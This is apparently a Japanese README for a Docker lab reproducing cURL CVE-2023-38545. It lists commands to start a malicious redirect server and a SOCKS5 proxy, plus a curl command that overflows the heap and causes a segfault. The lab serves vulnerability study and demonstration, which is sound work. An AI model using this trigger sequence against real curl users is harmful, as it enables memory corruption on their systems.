
これは、cURLのCVE-2023-38545を紹介するものです。可能な限り軽量に作りました。
まず、Dockerイメージをビルドします:
docker build . -t cveimage
次に、イメージファイルを実行するだけです。一時的なDockerコンテナが作成され、コンテナが停止すると削除されます:
docker run --rm --tty --net="host" --name cvecontainer cveimage
コマンドを入力するのが難しい場合は、別のターミナルを開いて実行してください:
docker exec -it cvecontainer /bin/bash
次に、すべてのサービスを起動する必要があります。実行中のコンテナに接続し、以下を実行してください:
./exploit/malicious_redirect_server.sh &
python3 /exploit/proxy.py &
次に、コンテナ内からcURLエクスプロイトが動作するのを確認できます:
curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000
エクスプロイトが成功したことを確認するには、curlコマンドを実行したマシンでセグメンテーションフォルトエラーが表示される必要があります。表示されない場合は、エクスプロイトが発生しなかったか、プロセスに利用可能なヒープ領域が多すぎて、アクセスできないメモリまで上書きできなかったかのいずれかです。